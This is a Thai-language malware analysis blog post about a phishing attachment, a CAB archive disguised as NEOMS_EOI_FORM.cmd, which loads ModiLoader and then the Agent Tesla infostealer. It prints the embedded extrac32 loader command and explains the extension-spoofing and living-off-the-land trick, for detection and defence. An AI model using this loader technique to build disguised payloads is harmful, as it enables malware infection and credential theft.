Tags:
Node Thumbnail

ผมเชื่อว่าผู้ใช้งานสายวินโดว์น่าจะพอคุ้นเคยกับไฟล์ประเภท Cabinet ที่มีนามสกุลไฟล์คือ .cab (ต่อไปนี้เราจะเรียกแบบย่อว่า CAB) ซึ่งโดยปกติแล้วมักจะถูกใช้ในการเก็บไฟล์และข้อมูลที่ถูกบีบอัด (compressed) เอาไว้ภายใน แต่นอกเหนือจากการใช้งานแบบปกติทั่วไปแล้ว ผู้โจมตีหรือแฮกเกอร์สามารถดัดแปลงไฟล์ CAB เพื่อใช้ในการรันมัลแวร์บนเครื่องเหยื่อด้วยการกดดับเบิ้ลคลิ๊กเพียงครั้งเดียวเท่านั้นครับ

ที่มาที่ไป

สืบเนื่องจากผมพบว่ามีการโจมตีผ่าน phishing email อันหนึ่ง ซึ่งมีการแนบไฟล์ประเภท Gzip เอาไว้ โดยหลังจากผ่านกระบวน extraction สองขั้นตอนด้วยเครื่องมือเฉพาะ เราจึงจะได้พบกับไฟล์ต้องสงสัยซึ่งเก็บอยู่ภายในจำนวนหลายรายการ แต่ไฟล์ที่เราสนใจในที่นี้มีเพียงรายการเดียวคือไฟล์ที่มีชื่อว่า NEOMS_EOI_FORM.cmd

No Descriptionภาพที่ 1 ไฟล์ต้องสงสัย

หลายท่านคงสังเกตุเห็นแล้วว่าไฟล์ดังกล่าว มีนามสกุลไฟล์ (File Extension) คือ .cmd ซึ่งเป็นนามสกุลไฟล์ของไฟล์ประเภทสคริปต์ที่จะถูก execute ผ่าน Windows Command Shell (CMD) หรือ cmd[.]exe แต่อย่าพึ่งด่วนสรุปไปครับ ของแบบนี้ในโลกของ cybersecurity เขาลวงกันได้ง่าย ๆ

นามสกุลไฟล์พาฉงน

เรามาลองเปิดไฟล์ NEOMS_EOI_FORM.cmd ผ่านเครื่องมือประเภท Hex Editor ดูกันก่อนดีกว่า

No Descriptionภาพที่ 2 ข้อมูลค่า Hex ของไฟล์ NEOMS_EOI_FORM.cmd และผลลัพธ์จากคำสั่ง file

จากภาพ เราจะเห็นได้ว่า File Header ของไฟล์ NEOMS_EOI_FORM.cmd มีค่าเท่ากับ MSCF (4Dh 53h 43h 46h) ซึ่งตรงกับค่า File Header ของไฟล์ประเภท CAB นอกจากนี้ ถ้าหากเราใช้คำสั่ง file ใน Linux ในการตรวจสอบ จะพบว่าไฟล์ดังกล่าวถูกระบุว่าเป็นไฟล์ประเภท Microsoft Cabinet archive data ซึ่งข้อมูลจากทั้งสองแหล่งสอดคล้องกันเป็นอย่างดี และนั่นหมายความว่าโปรแกรมบางตัวจะยังคงมองว่าไฟล์ NEOMS_EOI_FORM.cmd เป็นไฟล์ประเภท CAB โดยที่ไม่สนใจนามสกุลไฟล์แต่อย่างใด

แต่เหตุใดแฮกเกอร์จึงใช้ .cmd เป็นนามสกุลไฟล์ แทนที่จะใช้ .cab ตามปกติ? เราสามารถหาคำตอบกันได้จากในหัวข้อถัดไปครับ

แปลงไฟล์ CAB ให้เป็น Loader เพื่อใช้รันมัลแวร์

ก่อนอื่นเราลองมาเปรียบเทียบค่า Hex ระหว่างไฟล์ CAB แบบปกติ กับไฟล์ NEOMS_EOI_FORM.cmd กันดูซะหน่อย

No Descriptionภาพที่ 3 เปรียบเทียบระหว่างไฟล์ CAB ปกติ กับไฟล์ NEOMS_EOI_FORM.cmd

ผมเชื่อว่าหลายท่านคงจะสังเกตุเห็นความผิดปกติในฝั่งของไฟล์ NEOMS_EOI_FORM.cmd ซึ่งจะเห็นได้ค่อนข้างชัดเจนว่ามีการฝัง CMD command เอาไว้ รวมไปถึงมีการฝังไฟล์ประเภท portable executable (PE) เอาไว้อีกด้วย

No Descriptionภาพที่ 4 รายละเอียดของไฟล์ NEOMS_EOI_FORM.cmd เมื่อเปิดผ่านเครื่องมือ Hex Editor

สิ่งที่จะเกิดขึ้นเมื่อไฟล์ NEOMS_EOI_FORM.cmd ถูกดับเบิ้ลคลิ๊กคือ ระบบปฏิบัติการวินโดว์ จะทำการเรียกใช้งาน CMD มาเปิดไฟล์ดังกล่าวเนื่องจาก ระบบปฏิบัติการฯ จะเรียกใช้งานโปรแกรมโดยอ้างอิงจากนามสกุลไฟล์เป็นหลัก และต่อมา CMD จะทำการอ่านข้อมูลคำสั่งจากภายในไฟล์ NEOMS_EOI_FORM.cmd ซึ่งทุกท่านน่าจะยังคงจำได้ดีว่าภายในไฟล์ดังกล่าวมีการฝัง CMD command เอาไว้คือ

cls && extrac32 /y “%~f0” “%tmp%\x.exe” && start “” “%tmp%\x.exe”

โดยเราสามารถตีความ CMD command ดังกล่าวได้ดังนี้

  • cls ใช้เพื่อเคลียร์ข้อมูลในหน้า console ซึ่งเป็นไปได้ว่าแฮกเกอร์มีเจตนาที่เพิ่มความแนบเนียนขณะที่คำสั่งกำลังทำงาน
  • extrac32 /y “%~f0” “%tmp%\x.exe” เป็นการเรียกใช้งาน extrac32.exe ซึ่งเป็นหนึ่งใน Windows Utility Tools เพื่อทำการสกัดไฟล์ PE จากตัวสคริปต์เอง (ซึ่งก็คือไฟล์ NEOMS_EOI_FORM.cmd) และทำการเก็บเอาไว้ภายในโฟลเดอร์ %TEMP% โดยใช้ชื่อว่า x.exe
  • start “” “%tmp%\x.exe” ทำการ execute ไฟล์ PE ดังกล่าว

No Descriptionภาพที่ 5 รายละเอียด Process Tree เมื่อไฟล์ NEOMS_EOI_FORM.cmd ถูก execute

ทั้งนี้ ไฟล์ x.exe คือมัลแวร์ ModiLoader หรือรู้จักกันในอีกชื่อหนึ่งว่า DBatLoader ซึ่งเมื่อถูก execute แล้ว ในท้ายที่สุดจะทำการติดตั้งมัลแวร์ประเภท InfoStealer ชื่อ Agent Tesla ลงในเครื่องเหยื่อ

ถึงจุดนี้ทุกท่านพอจะเข้าใจเหตุผลที่แฮกเกอร์ตั้งใจใช้นามสกุลไฟล์ .cmd กับไฟล์ประเภท CAB ที่ถูกดัดแปลงข้อมูลเอาไว้ หรือยังครับ?

สรุป

แฮกเกอร์สร้าง Loader ขึ้นมาด้วยการดัดแปลงไฟล์ CAB โดยทำการฝัง CMD command และไฟล์ PE เอาไว้ภายใน จากนั้นทำการปลอมนามสกุลไฟล์เป็น .cmd เพื่อแสวงประโยชน์จากระบบปฏิบัติการให้เรียกใช้ CMD มาทำการอ่านค่า CMD command ที่ฝังอยู่ภายในไฟล์นั้น ซึ่งคำสั่งดังกล่าวจะทำหน้าที่ในการเรียกใช้งาน extrac32.exe มาทำการสกัดไฟล์ PE และทำการ execute ในท้ายที่สุด โดยการที่ extrac32.exe ยังคงสามารถสกัดข้อมูลจากไฟล์ NEOMS_EOI_FORM.cmd ได้เนื่องจากไฟล์ดังกล่าวมี File Header เป็นของไฟล์ประเภท CAB นั่นเอง

ถ้าทุกท่านสังเกตุดี ๆ จะเห็นว่าในการรันมัลแวร์นั้น แฮกเกอร์ใช้เครื่องมือต่าง ๆ ที่มีติดตั้งอยู่ในระบบปฏิบัติการฯ อยู่แล้ว เช่น CMD และ extrac32 ซึ่งเป็นเทคนิคที่เรียกว่า Living Off the Land Binaries (LOLBins) โดยมีวัตถุประสงค์เพื่อหลบเลี่ยงการตรวจจับของระบบป้องกันภัยคุกคามต่าง ๆ

ขอบคุณทุกท่านที่ทนอ่านจนจบ หวังว่าจะเป็นประโยชน์บ้างไม่มากก็น้อยครับ

ทุกท่านสามารถตรวจสอบข้อมูล Indicators of Compromise (IOCs) รวมถึง Sigma Rule และ YARA Rule เพื่อใช้ในการตรวจจับภัยคุกคามนี้ได้จาก ที่มา ด้านล่างนี้ครับ

ที่มา - FatzQatz’s Medium Blog Post, IOCs, YARA Rule, Sigma Rule

Get latest news from Blognone